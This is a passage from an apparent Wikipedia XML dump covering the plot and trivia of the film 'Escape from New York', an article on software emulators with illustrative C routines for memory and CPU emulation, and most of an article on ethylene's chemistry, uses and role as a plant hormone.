Plissken decides to steal one of the thug's cars and knocks a guard out. Brain and Maggie rush into the car as Snake takes the wheel. They drive to Duke's compound only to find the Duke's entourage is heading back as well. Plissken takes a shortcut down a street is full of the cannibals who try to swarm the car. Plissken manages to get away and beats The Duke to the compound. Brain indicates that the President is being held in an old subway car and that he and Maggie will create a diversion. This should give Snake the opportunity to sneak in and rescue him. 

The plan commences; Plissken enters the subway car and finds the President tied to a chair with a briefcase still handcuffed to his wrist. Plissken explains that he is here on a rescue mission, but then a guard arrives and a brawl ensues. Plissken is stabbed in the leg during the fight and is overpowered by more thugs who drag him outside before The Duke. Brain runs up and lies to The Duke that Plissken forced him against his will to help get the President.  The Duke steps up and looks over Snake, stating &quot;Snake Plissken! I heard about you... I heard you were dead.&quot; The Duke grabs the knife still stuck in Snake's leg and twists it. Snake passes-out after getting his head smashed-in by the butt of a gun.

Snake wakes up sometime later surrounded by The Duke's thugs. It is daytime and The Duke is enjoying target practice with Snake's gun and using the President chained to a wall as the target. Brain and Maggie watch nearby. The Duke has the frightened President repeat honors to him - &quot;You're the Duke of New York, you're 'A' Number One!&quot; The Duke suddenly shoots open the briefcase and the cassette tape falls to the ground. One of The Duke's thugs picks up the tape and puts it in his pocket while another thug arrives to tell The Duke that Plissken is awake.

Plissken is taken to the main subway terminal, now a makeshift gladiatorial arena surrounded by shouting inmates. Snake is thrown into a boxing ring and faces off with a brute twice his size as the Duke watches from a balcony. The Duke announces that everyone will get to watch the famous Snake Plissken die, and he will walk them to freedom with the President leading the way. The inmates cheer and the fight begins. 

Outside, one of the patrol helicopters lands in Central Park after being waved down by a group of inmates. They find the prisoners have left the President's briefcase on a rock and armed soldiers run to retrieve it. Inside the case is a note from The Duke explaining he will use the President to lead the inmates to freedom across the 69th Street Bridge. Any attempt to stop them and the President dies. Hauk is informed of the find and can only hope that Plissken is still alive somewhere to finish the job.

Back in the arena, the fight continues. Snake is thrown nearly out of the ring and he finds a thug near him is wearing his personal locator. He reaches down and rips the locator off the prisoner's arm and manages to activate it. Back on Ellis Island, Snake's locator shows up on the monitor. With time running out, and no contact for hours, Hauk was wondering if Snake was even alive. A technician says he believes that anyone could have activated the locator, but Hauk won't underestimate Plissken's resolve. He orders his men to prepare to extract Plissken and the President.  

Back in the city, Plissken is still battling in the arena. Elsewhere, Maggie and Brain decide to rescue the President and bribe the guards to let them past. Brain pretends to search the President for [[cyanide]] capsule that he might take instead of allowing the prisoners escape. A guard doesn't believe Brain's story and tells him to leave, but then Brain drives a knife into him. The guard falls while Maggie knocks out the other. Brain frees the President and just before heading out, he reacquires the cassette tape from the dead guard who originally took it. 

Back in the arena, Snake finishes off his opponent by driving a spiked baseball bat into the man's head and instantly killing him. A storm of cheers and shouts erupts from the crowd as it chants, &quot;Snake!&quot;  On the balcony, a guard tells The Duke that the President is gone, and Brain has taken him. Furious, The Duke leads his men to find them allowing Snake to slip away in the confusion. Snake manages to catch up with  Brain, Maggie and the President, at the WTC. They are on the roof fighting off a band of inmates. During the fight, an inmate chops the cable holding the Gulfstream glider, and the plane tumbles off the roof of the building. They need now to figure out a new escape plan since he cannot contact Hauk for extraction by helicopter. Brain decides their only hope of escape is the 59th Street Bridge, after all, he knows where the land mines are. 

The group runs down to the ground floor only to find The Duke and his men waiting for them. Suddenly, Cabbie's taxi arrives on the scene and the group piles in while Snake blows up a steam engine to cover their escape. Snake drives, pushing Cabbie aside, while the other three squeeze in the back. Snake demands that Brain hand over the President's summit tape. It is discovered that Cabbie actually has it. He had traded it from the thug for a music tape. Snake checks to make sure it's the right tape by playing it in Cabbie's tape deck. He now has the original and decides to hold onto it despite the President's demand of it. 

Soon they come to the land mine bridge. The Duke is in hot pursuit, and they can see he is nearly upon them. Snake checks his life clock. He has only a few minutes left to get across the bridge before he dies. He decides to drive across despite Brain's objections and orders him to shut up and just tell him where the mines are. Cabbie's taxi is battered by near misses with some of the bombs. Now halfway across, Snake takes a wrong turn and hits a mine. The taxi explodes and tears in half. Snake climbs out of the wreckage finding Cabbie has been killed in the blast. The others, including the President, have miraculously survived. Back on Ellis Island, Hauk gets word that several people are on foot across the bridge and a spotter believes the President is with them. Hauk orders his men to the bridge and follows behind them.

On the bridge, The Duke is gaining. He drives his car through the blasts and road debris like they weren't even there. Running for their lives, it is Brain who takes the next wrong turn and steps on a land mine. He is killed instantly. Maggie stops and runs to her lover's side, but Snake tells her there is no time. Maggie refuses to continue on and instead takes Snake's gun and covers his escape by shooting at The Duke as he approaches. Maggie manages to damage his car and the Duke crashes into her. She is also killed. The Duke gets out and chases after Snake and The President on foot. 

Plissken and the President reach the containment wall where Hauk and his men lower a rope. They drag the president up first, and when Snake is about to be saved, he is jumped from behind by The Duke. The Duke knocks Plissken down and grabs the rope. Snake manages to get up and pulls The Duke down. The rope begins to lift but suddenly stops and Plissken dangles helplessly. Suddenly machine gun fire erupts and The Duke is gunned down by vengeful President who shouts &quot;Hey DUKE!!! You're the Duke!!! You're 'A&quot; Number One!!!&quot; as he fills him with bullets.

With The Duke dead, Plissken is raised to safety. He immediately demands to have the explosives neutralized, but Hauk has Snake hand over the summit tape first. With seconds remaining on the timer, Snake hands Hauk the tape and the medic runs up to apply the X-Ray charge. Snake checks his life clock which has run to zero. He is still alive. 

The President is rushed for medical treatment. They bandage up his finger and prepare him for an immediate news broadcast. Before going on the camera, The President thanks Plissken for his help, but Snake would like to know how he feels about the others who were killed getting him out. The President simply says he would like to thank them too, they sacrificed themselves for the good of the country. Snake walks away, passing Hauk, who asks if he'd like to kill him now. Snake replies &quot;I'm too tired.&quot; Hauk offers him a job, saying, &quot;We'd make a hell of a team, Snake!&quot; To which Snake sneers, &quot;The name's Plissken.&quot;

The President takes his position behind a podium ready to give his speech. The camera broadcasts to the world and the President apologizes for not being able to make the historic meeting in person. However, he has something to share with everyone, in hopes that the great nations of the world can work together toward peace. He turns on the tape; which now plays Cabbie's bandstand music. 

As Snake walks out of Ellis Island gates, he destroys the President's summit tape.

==Trivia==

* Certain [[Matte (filmmaking)|matte painting]]s were rendered by [[James Cameron]], who was at that time a special effects artist with [[Roger Corman]]'s [[New World Communications|New World Pictures]].
*When Snake is piloting the glider into the city, there are three screens on the control panel displaying wireframe animations of the landing target on the WTC and surrounding buildings. What appears on those screens was not done on computer. Carpenter wanted &quot;high-tech&quot; looking computer graphics, which were very expensive at the time (even for such a simple animation). To get the animation he wanted, the effects crew filmed the miniature model set of New York City they used for other scenes under blacklight with reflective tape placed along every edge of the model buildings. Only the tape shows up and appears to be a 3D wireframe animation.
* Most of the movie was filmed in the summer of [[1976]] &amp; [[1977]] in [[East St. Louis, Illinois]]. The area (essentially a large ghetto across the river from the decidedly more wealthy St. Louis proper) had been burned out in 1976 during a massive urban fire. Carpenter saw this disaster as a perfect setting for his apocalyptic vision of Manhattan Island Maximum Security Prison in the story.
* Avco-Embassy Pictures, the studio behind the film, preferred either [[Charles Bronson]] or [[Tommy Lee Jones]] to play the role of &quot;Snake&quot; Plissken to director/co-writer John Carpenter's choice of Kurt Russell, who at the time was trying to overcome his &quot;lightweight&quot; screen image gained through his appearance in several [[Walt Disney Pictures|Disney]] comedies.
* While many sources write that the film's production budget was $7 million, John Carpenter himself says the budget was more around $5.5 million. 
* The film grossed $25.2 million in American theaters in the summer of 1981, with same amount grossed in foreign markets, making an over $50 million mega box-office hit in ratio to John Carpenter's production budget of $5.5-7 million.
* After the smash success of ''[[Halloween (movie)|Halloween]]'', the small studio of Avco-Embassy signed filmmaker John Carpenter and producer Debra Hill to a two-picture deal. The first film from this contract was 1980s ''[[The Fog]]'' and this film finished out the contract.
* Initially, the second film that Carpenter was going to make to finish the contract out was ''[[The Philadelphia Experiment (movie)|The Philadelphia Experiment]]'' but because of script-writing problems, Carpenter junked it for this project, which its initial script-draft he had penned back in the 1970s, and the studio greenlighted it.
* The final scenes were filmed at the [[Sepulveda Dam]], in [[Sherman Oaks, Los Angeles, California]].
* The Duke's [[Cadillac Fleetwood]] with the fender-mounted chandeliers is a direct influence in the art car community.
* John Carpenter and Kurt Russell teamed up again for the belated sequel, ''[[Escape from L.A.]]'' ([[1996]]) set in [[2013]]. Another sequel has also been proposed (it was ''Escape from Earth''), but will not likely materialize due to the poor box office performance of ''...L.A''.
* Escape From New York is a legendary pizza parlor on Portland, OR's artistic 23rd St. It features huge wall murals with a New York City theme and pizzas (whole or by the slice) with slices over a foot in length. It's popular among Portlanders and tourists from all walks of life.
* [[Debra Hill]] has an uncredited part as the voice-over in the intro.
* The woman in the diner is played by [[Season Hubley]], who was, at the time, Kurt Russell's wife.
*Snake Plissken was the inspiration for [[Solid Snake]], hero of the ''[[Metal Gear (series)|Metal Gear]]'' series, and the plot was also the inspiration for ''[[Metal Gear 2: Solid Snake]]'' (sneak into an indomitable fortress to rescue a VIP and an important tape/cartridge that determines the fate of the world). To push it even more, in the sequel (''[[Metal Gear Solid 2: Sons of Liberty]]''), Solid Snake goes by the alias of Iroquois Pliskin. ''Metal Gear'' also uses the same font in its logo for the first game as ''[[Escape From New York]]''. There are several other references to ''[[Escape from New York]]'' in the ''[[Metal Gear (series)|Metal Gear]]'' series. Otacon, the scientist ally of Solid Snake is based off of Brain. In every ''[[Metal Gear Solid]]'' game, there is a part where your character is left with nothing after being knocked out and tortured, very similar to how Snake Plisskin escaped from The Duke. A mined area is also a trend in the ''[[Metal Gear (series)|Metal Gear]]'' series.
* [[United Kingdom|British]] actor [[Donald Pleasence]] plays the President of the United States without putting on an American accent. The United States constitution requires that the President be a native born citizen of the United States. Pleasence came up with an explanation for how the character came to be both born in the United States and have an English accent, but John Carpenter said that film audiences would not care and would just accept what was depicted.

== External links ==
* {{imdb title | id = 0082340 | title = Escape from New York}}
* [http://www.theofficialjohncarpenter.com/pages/themovies/ny/ny.html ''Escape from New York'' at theofficialjohncarpenter.com]

[[Category:1981 films]]
[[Category:Dystopian films]]
[[Category:Science fiction films]]
[[Category:Independent films]]
[[Category:Films directed by John Carpenter]]

[[de:Die Klapperschlange]]
[[fr:New York 1997]]
[[pl:Ucieczka z Nowego Jorku]]
[[ru:Побег из Нью-Йорка (фильм)]]</text>
    </revision>
  </page>
  <page>
    <title>Emulator</title>
    <id>9836</id>
    <revision>
      <id>40598560</id>
      <timestamp>2006-02-21T18:59:22Z</timestamp>
      <contributor>
        <username>Wisegoldfish</username>
        <id>946085</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about '''emulation''' in [[computer science]]. See [[E-mu Emulator]] for a line of digital musical instruments, [[Emulation (disambiguation)]] for other meanings.''

[[Image:KEGAFUSIONTITLE.PNG|200px|thumb|An emulator reproducing a [[console game]]'s playable atmosphere on a Windows computer.]]

A '''software emulator''' allows [[computer program]]s to run on a platform ([[computer architecture]] and/or [[operating system]]) other than the one for which they were originally written.  Unlike a [[simulation]], which only attempts to reproduce a program's behavior, an emulation generally attempts to model to various degrees the state of the device being emulated.

A popular use of emulators is to mimic the experience of running [[arcade game]]s or [[console game]]s on [[Linux]], [[Mac OS X]], and [[Microsoft Windows]].  Emulating these on modern desktop computers is usually less cumbersome than relying on the original machines.  However, software licensing issues may require emulator authors to write original software that duplicates the functionality of the original computer's [[bootstrap]] [[read only memory|ROM]] and [[BIOS]], often through [[high-level emulation]].

In a theoretical sense, the [[Church-Turing thesis]] implies that any operating environment can be emulated within any other.  In practice, it can be quite difficult, particularly when the exact behavior of the system to be emulated is not documented and has to be deduced through [[reverse engineering]].  It also says nothing about timing constraints; if the emulator does not perform as quickly as the original hardware, the emulated software may run much more slowly than it would have on the original hardware.


==Structure==

Most emulators just emulate a hardware architecture &amp;mdash; if a specific operating system is required for the desired software, it must be provided as well (and may itself be emulated). Both the OS and the software will then be [[interpreter (computer software)|interpreted]] by the emulator, rather than being run by native hardware. Apart from this interpreter for the emulated [[machine language|machine's language]], some other hardware (such as input or output devices) must be provided in virtual form as well: if writing to a specific memory location should influence the screen, for example, this will have to be emulated as well.

Instead of full emulation of the hardware, a [[compatibility layer]] may suffice. This translates system calls for the emulated system into system calls for the host system. 

Developers of software for [[embedded system|embedded systems]] or [[video game console]]s often design their software on especially accurate emulator called a [[Simulation#Simulation in computer science|simulator]] before trying it on the real hardware. This is so that software can be produced and tested before the final hardware exists in large quantities, so that it can be tested without taking the time to copy the program to the hardware, or so that it can be debugged at a low level without introducing the side effects of a [[debugger]].

Typically, an emulator is divided into [[module (computing)|modules]] that correspond roughly to the emulated computer's subsystems.
Most often, an emulator will be composed of the following modules:
* a CPU emulator or CPU simulator (the two terms are mostly interchangeable)
* a memory subsystem module
* various I/O devices emulators

Buses are often not emulated, either for reasons of performance or simplicity, and virtual peripherals communicate directly with the CPU or the memory subsystem.

A detailed description of the internals of a specific emulator can be found in the [[ElectrEm]] article.

===Memory subsystem===

It is possible for the memory subsystem emulation to be reduced to simply an array of elements each sized like an emulated word; however, this model falls very quickly as soon as any location in the computer's logical memory does not match physical memory.

This clearly is the case whenever the emulated hardware allows for advanced memory 
management (in which case, the [[Memory management unit|MMU]] logic can be embedded in the memory emulator, made a module of its own, or sometimes integrated into the CPU simulator).

Even if the emulated computer does not feature an MMU, though, there are usually other factors that break the equivalence between logical and physical memory: many (if not most) architecture offer [[memory-mapped I/O]]; even those that do not almost invariably have a block of logical memory mapped to [[Read-only memory|ROM]], which means that the memory-array module must be discarded if the read-onlyness of ROM is to be emulated.

As a result, most emulators implement at least two procedures for writing to and reading from logical memory, and it is these procedures' duty to map every access to the correct location of the correct object.

On a [[base-limit addressing]] system where memory from address ''0'' to address ''ROMSIZE'' is read-only memory, while the rest is RAM, something along the line of the following procedures would be typical:

 void WriteMemory(word Address, word Value) {
     word RealAddress;
     RealAddress=Address+BaseRegister;
     if(RealAddress&lt;LimitRegister) {
         if(RealAddress&gt;ROMSIZE) Memory[RealAddress]=Value;
     } else {
         RaiseInterrupt(INT_SEGFAULT);
     }
 }

 word ReadMemory(word Address) {
     word RealAddress;
     RealAddress=Address+BaseRegister;
     if(RealAddress&lt;LimitRegister) {
         return Memory[RealAddress];
     } else {
         RaiseInterrupt(INT_SEGFAULT);
         return NULL;
     }
 }

===CPU simulator===

The CPU simulator is often the most complicated part of an emulator. Many emulators are written using &quot;pre-packaged&quot; CPU simulators&lt;!--- (see [[Emulator#External Links]]) ---&gt;, in order to concentrate on good and efficient emulation of a specific machine.

The simplest form of a CPU simulator is an [[interpreter_(computing)|interpreter]], which follows the execution flow of the emulated program code and, for every machine code instruction encountered, executes operations on the host processor that are semantically equivalent to the original instructions.

This is made possible by assigning a [[variable]] to each [[processor register|register]] and [[Flag (computing)|flag]] of the simulated CPU. The logic of the simulated CPU can then more or less be directly translated into software algorithms, creating a software re-implementation that basically mirrors the original hardware implementation.

The following example illustrates how CPU simulation is accomplished by an interpreter. In this case, interrupts are checked-for before every instruction executed, though this behavior is rare in real emulators for performance reasons.

 void Execute(void) {
     if(Interrupt!=INT_NONE) {
         SuperUser=TRUE;
         WriteMemory(++StackPointer, ProgramCounter);
         ProgramCounter=InterruptPointer;
     }
     switch(ReadMemory(ProgramCounter++)) {
         // Handling of every valid instruction
         default:
         Interrupt=INT_ILLEGAL;
     }
 }

Interpreters are very popular as CPU simulators, as they are much simpler to implement than more performant alternative solutions, and their speed is more than adequate for emulating computers of more than roughly a [[decade]] ago on modern machines.

However, the speed penalty inherent in interpretation can be a problem when emulating computers whose processor speed is on the same [[order of magnitude]] as the host machine. Until not many years ago, emulation in such situations was considered completely impractical by many.

What allowed breaking through this restriction were the advances in [[dynamic recompilation]] techniques. Simple ''a priori'' translation of emulated program code into code runnable on the host architecture is usually impossible because of several reasons:
* code may be [[self-modifying code|self-modifying]]
* there may not be a way to reliably distinguish [[data segment]]s (which must not be translated) from [[text segment]]s (code segments)
* there may not be a way to communicate with the emulated [[operating system]] in order for the emulator to be aware of newly loaded (for example from disk) code

Various forms of dynamic recompilation, including the popular [[JIT compiler|Just In Time compiler (JIT)]] technique, try to cicumvent these problems by waiting until the processor control flow jumps into a location containing untranslated code, and only then (&quot;just in time&quot;) translates a block of the code into host code that can be executed.
The translated code is kept in a ''code [[cache]]'', and the original code is not lost or affected; this way, even data segments can be (meaninglessly) translated by the recompiler, resulting in no more than a waste of translation time.

===I/O===

Most emulators do not, as mentioned earlier, emulate the main system bus; each I/O device is thus often treated as a special case, and no consistent interface for virtual peripherals is provided.

This can result in a performance advantage, since each I/O module can be tailored to the characteristics of the emulated device; designs based on a standard, unified I/O [[application programming interface|API]] can however rival such simpler models, if well thought-out, and they have the additional advantage of &quot;automatically&quot; providing a plug-in service through which third-party virtual devices can be used within the emulator.

A unified I/O API may not necessarily mirror the structure of the real hardware bus: bus design is limited by several electric constraints and a need for hardware [[parallel programming|concurrency]] &lt;!--- although this page talks specifically about *programming*, while here I really refer to the cuncurrency that is ineherent in hardware ---&gt; management that can mostly be ignored in a software implementation.

Even emulators that treat each device as a special case, there is usually a common basic infrastructure for
* managing [[interrupt]]s, by means of a procedure that sets flags readable by the CPU simulator whenever an interrupt is raised, allowing the virtual CPU to &quot;poll for (virtual) interrupts&quot;
* writing to and reading from physical memory, by means of two procedures similar to the ones dealing with logical memory (although, contrary to the latter, the former ''can'' often be left out, and direct references to the memory array be employed instead)

==See also== 
*[[List of emulators]]
*[[Arcade emulator]]
*[[Binary translation]]
*[[Console emulator]]
*[[Fan translation]]
*[[In-circuit emulator]] (ICE)
*[[Virtual machine]]
*[[Game Engine Recreations]]

==External links==
&lt;!--- Please DO NOT add ROM links here. Wikipedia is not a repository of links [[WP:WIN]]. ---&gt;
*''The History of Emulation - 1800 to 1999:'' [http://www.zophar.net/articles/art_14-1.html Part 1], [http://www.zophar.net/articles/art_14-2.html Part 2], [http://www.zophar.net/articles/art_14-3.html Part 3], [http://www.zophar.net/articles/art_14-4.html Part 4]
*''[http://fms.komkon.org/EMUL8/HOWTO.html HowTo: Writing a Computer Emulator]''
*[http://www.emulinks.de/ emulinks.de] - Emulation web directory
*[http://www.Theromjar.com/ The Rom Jar] The Rom Jar - One of the better Emulation websites currently on the internet.

[[Category:Emulation software| ]]

[[cs:Emulátor]]
[[de:Emulator]]
[[es:Emulador]]
[[fr:Émulateur]]
[[io:Emuleso]]
[[ia:Emulator]]
[[it:Emulatore]]
[[lt:Emuliatorius]]
[[hu:Emulátor]]
[[nl:Emulator]]
[[ja:エミュレータ]]
[[no:Emulator]]
[[nn:Emulator]]
[[pl:Emulator]]
[[pt:Emulador]]
[[ru:Эмуляция]]
[[fi:Emulaattori]]
[[sv:Emulator]]
[[tr:Emülasyon]]
[[zh:模拟器]]</text>
    </revision>
  </page>
  <page>
    <title>Ethylene</title>
    <id>9837</id>
    <revision>
      <id>41814487</id>
      <timestamp>2006-03-01T22:48:08Z</timestamp>
      <contributor>
        <ip>129.93.52.103</ip>
      </contributor>
      <comment>Density (source=airliquide.com)</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;float: right; clear: right; margin: 0 0 1em 1em; border-collapse: collapse;&quot;
! {{chembox header}} | {{PAGENAME}}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; | [[Image:ethylene.png|{{PAGENAME}}]]
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| Ethene
|-
| [[Chemical formula|Molecular formula]]
| C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;
|-
| [[Simplified molecular input line entry specification|SMILES]]
| C=C
|-
| [[Molar mass]]
| 28.05 g/mol
|-
| Appearance
| colourless gas
|-
| [[CAS registry number|CAS number]]
| [74-85-1]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 1.178 g/l at 15C, gas
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| Insoluble
|-
&lt;!-- | Other solvents e.g. [[ethanol]], [[acetone]] --&gt;
&lt;!-- | solubility info on other solvents --&gt;
&lt;!-- |- --&gt;
| [[Melting point]]
| &amp;minus;169.1 °C
|-
| [[Boiling point]]
| &amp;minus;103.7 °C
|-
! {{chembox header}} | Structure
|-
| [[Orbital_hybridisation#Molecule_shape|Molecular shape]]
| planar
|-
| [[Dipole#Molecular_dipoles|Dipole moment]]
| zero
|-
! {{chembox header}} | Thermodynamic data
|-
| [[Standard enthalpy change of formation|Std enthalpy of&lt;br/&gt;formation]] Δ&lt;sub&gt;f&lt;/sub&gt;''H''&amp;deg;&lt;sub&gt;gas&lt;/sub&gt;
| +52.47 kJ/mol
|-
| [[Standard molar entropy|Standard molar&lt;br/&gt;entropy]] ''S''&amp;deg;&lt;sub&gt;gas&lt;/sub&gt;
| 219.32 J·K&lt;sup&gt;&amp;minus;1&lt;/sup&gt;·mol&lt;sup&gt;&amp;minus;1&lt;/sup&gt;
|-
! {{chembox header}} | Hazards
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} (data page)#Material Safety Data Sheet|External MSDS]] &lt;!-- please replace with proper link--&gt;
|-
| [[Directive 67/548/EEC|EU classification]]
| Very flammable ('''F+''')
|-
| [[NFPA 704]]
| {{nfpa|1|4|2}}
|-
| [[List of R-phrases|R-phrases]]
| R12, R67
|-
| [[List of S-phrases|S-phrases]]
| S2, S9, S16,&lt;br/&gt;S33, S46
|-
| [[Flash point]]
| Flammable gas
|-
| [[Explosive limit]]s
| 2.7&amp;ndash;36.0%
|-
| [[Autoignition temperature]]
| 490 &amp;deg;C
|-
! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure and&lt;br/&gt;properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|&amp;epsilon;&lt;sub&gt;r&lt;/sub&gt;]], etc. 
|-
| [[{{PAGENAME}} (data page)#Thermodynamic properties|Thermodynamic&lt;br/&gt;data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas 
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Other [[alkene]]s
| [[Propene]]&lt;br/&gt;[[Butene]]
|-
| Related compounds 
| [[Ethane]]&lt;br/&gt;[[Acetylene]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25 &amp;deg;C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}

'''Ethylene''' (or [[IUPAC]] name '''ethene''') is the simplest [[alkene]] [[hydrocarbon]], consisting of four [[hydrogen]] [[atom]]s and two [[carbon]] atoms connected by a [[double bond]].  Because it contains a double bond, ethylene is called an ''unsaturated hydrocarbon'' or an ''olefin''.

The molecule cannot twist around the double bond, and all six atoms lie in the same plane.  The [[angle]] made by two carbon-hydrogen bonds in the molecule is 117°, very close to the 120° that would be predicted from ideal sp&lt;sup&gt;2&lt;/sup&gt; [[hybridization (chemistry)|hybridization]].  

== Nomenclature ==
From [[1795]] on, ethylene was referred to as the ''olefiant gas'' (oil-making gas), because it combined with [[chlorine]] to produce the ''oil of the Dutch chemists'' ([[1,2-Dichloroethane|ethylene dichloride]]), first synthesized in 1795 by a collaboration of four [[Netherlands|Dutch]] chemists.

In the mid-19th century, the suffix ''-ene'' (a [[Greek language|Greek]] root added to the end of female names meaning &quot;daughter of&quot;) was widely used to refer to a molecule or part thereof that contained one fewer hydrogen atoms than the word being modified.  Thus, ''ethylene'' (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;) was the &quot;daughter of [[ethyl]]&quot; (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;).  The name ethylene was used in this sense as early as [[1852]].

In [[1866]], the [[Germany|German]] chemist [[Augustus von Hofmann]] proposed a system of hydrocarbon nomenclature in which the suffixes -ane, -ene, -ine, -one, and -une were used to denote the hydrocarbons with 0, 2, 4, 6, and 8 fewer hydrogens than their parent [[alkane]].  In this system, ethylene became ''ethene''.  Hofmann's system eventually became the basis for the [[Geneva nomenclature]] approved by the [[International Congress of Chemists]] in [[1892]], which remains at the core of the [[IUPAC]] nomenclature.  However, by that time, the name ethylene was deeply entrenched, and it remains in wide use today, especially in the chemical industry.

== Chemistry ==
The double bond is a region of slightly higher [[electron density]], and most of ethylene's chemistry involves other molecules reacting with and adding across its double bond.  Ethylene can react with [[bromine]], [[chlorine]], and other [[halogen]]s, to produce halogenated hydrocarbons.  It can also react with water to produce [[ethanol]], but the rate at which this happens is very slow unless a suitable [[catalyst]], such as [[phosphoric acid|phosphoric]] or [[sulfuric acid]], is used.  Under high pressure, and, in the presence of a catalytic metal ([[platinum]], [[rhodium]], [[nickel]]), [[hydrogen]] will react with ethylene, [[saturation (chemistry)|saturating]] it.

== Production ==
Ethylene is produced in the [[petrochemical]] industry via [[steam cracking]].  In this process, gaseous or light liquid hydrocarbons are briefly heated to 750&amp;ndash;950 °C, causing numerous [[free radical]] [[chemical reaction|reactions]] to take place.  Generally, in the course of these reactions, large hydrocarbons break down in to smaller ones and saturated hydrocarbons become unsaturated.

The result of this process is a complex mixture of hydrocarbons in which ethylene is one of the principal components.  The mixture is separated by repeated [[compressor|compression]] and [[distillation]].

Another process is catalytic cracking where it is used in oil refineries to crack large hydrocarbon molecules into smaller ones. Use of zeolite as a catalyst allows the cracking to be achieved at a lower temperature. It is an important way of separating alkenes from alkanes using a fractionating column.

== Theoretical considerations ==

Although ethylene is a relatively simple molecule, its spectra is considered to be one of the most difficult to explain adequately from both a theoretical and practical perspective. For this reason, it is often used as a test case in computational chemistry. Of particular note is the difficulty in characterizing the ultraviolet absorption spectrum of the molecule. Interest in the subtleties and details of the ethylene spectrum can be dated back to at least the 1950s.

== Uses ==

; Chemistry

Ethylene is used primarily as an intermediate in the manufacture of other chemicals, especially [[plastic]]s.  Ethylene may be [[polymer]]ized directly to produce [[polyethylene]] (also called ''polyethene'' or ''polythene''), the world's most widely-used plastic.  Ethylene can be [[chlorine|chlorinated]] to produce ethylene dichloride ([[1,2-Dichloroethane]]), a precursor to the plastic [[polyvinyl chloride]], or combined with [[benzene]] to produce [[ethylbenzene]], which is used in the manufacture of [[polystyrene]], another important plastic.

Smaller amounts of ethylene are [[oxidation|oxidized]] to produce chemicals including [[ethylene oxide]], [[ethanol]], and [[polyvinyl acetate]].

Ethylene is also a widely-used refrigerant in commercial low temperature systems due to the low boiling point.

Ethylene was once used as an inhaled [[anesthetic]], but it has long since been replaced in this role by nonflammable gases.

It has also been hypothesized that ethylene was the catalyst for utterances of the [[oracle]] at [[Delphi]] in ancient [[Greece]].

==Ethylene as a plant hormone==
Ethylene functions as a [[plant hormone|hormone]] in [[plant]]s. It stimulates the [[ripening]] of [[fruit]], the opening of [[flower]]s, and the [[abscission]] of [[leaves]]. Its biosynthesis starts from [[methionine]] with [[1-aminocyclopropane-1-carboxylic acid]] (ACC) as a key intermediate.

&quot;Ethylene has been used in practice since the ancient Egyptians, who would gas figs in order to stimulate ripening. The ancient Chinese would burn incense in closed rooms to enhance the ripening of pears. It was in 1864, that leaks of gas from street lights showed stunting of growth, twisting of plants, and abnormal thickening of stems (the triple response)[see [[plant senescence]]](Arteca, 1996; Salisbury and Ross, 1992). In 1901, a russian scientist named Dimitry Neljubow showed that the active component was ethylene (Neljubow, 1901). Doubt discovered that ethylene stimulated [[abscission]] in 1917 (Doubt, 1917). It wasn't until 1934 that Gane reported that plants synthesize ethylene (Gane, 1934). In 1935, Crocker proposed that ethylene was the plant hormone responsible for fruit ripening as well as inhibition of vegetative tissues (Crocker, 1935). Ethylene is now known to have many other functions as well.&quot; - from ([http://www.plant-hormones.info/references.htm plant-hormones.info])

===Location, Characteristics and Occasions for Synthesis Induction===
* Directly induced by high levels of [[auxin]]
* Found in [[Germination|germinating]] seeds 
* Induced by [[root flooding]] 
* Induced by [[drought]] 
* Synthesized in nodes of [[Plant stem|stems]] 
* Synthesized in tissues of [[ripening]] [[fruit]]s 
* Synthesized in response to shoot environmental, [[pest (animal)|pest]], or disease stress 
* Synthesized in senescent [[leaf|leaves]] and [[flower]]s 
* Rapidly [[diffuse]]s
* Inhibiting effects of ethylene on shoot growth (more specifically on stem elongation) reduced in the presence of [[light]].  Also ethylene levels are decreased by light 
* The above may be because light induces [[auxin]] synthesis and moderate auxin levels inhibit ethylene. ([http://www.planthormones.info speculative])
* Released in mature (and to a lesser extent immature cells) [[cell_(biology)|cell]]s when they do not have enough [[mineral]]s and [[water]] to support both themselves and any dependent cells. ([http://www.planthormones.info speculative])

===Effects===
* Stimulates leaf and flower [[senescence]] 
* Induces [[leaf abscission]] mainly in older leaves.
* Induces seed [[germination]] 
* Induces [[root hair]] growth &amp;#8211; this increases the efficiency of water and mineral absorption 
* Stimulates epinasty &amp;#8211; leaf [[petiole]] grows out, leaf hangs down and curls into itself 
* Stimulates [[fruit ripening]] 
* Induces the growth of adventitious [[root]]s during flooding 
* Usually inhibits growth - although perhaps just shoot growth ([http://www.planthormones.info speculative])
* Affects neighboring individuals 
* Disease/wounding resistance 
* Triple response when applied to seedlings &amp;#8211; root ? and shoot growth inhibition and pronounced [[hypocotyl]] hook bending
* Inhibits stem swelling ? (Contradictory to the finding below &amp;#8211; contradictory sources) 
* Stimulates cell broadening (and lateral root growth) 
* Interference with auxin transport (with high auxin concentrations) 
* Directly or indirectly induces auxin at high levels ([http://www.planthormones.info speculative])
* Inhibits the rate of metabolism of cells in the shoot so as to redirect resources to the root ([http://www.planthormones.info speculative])
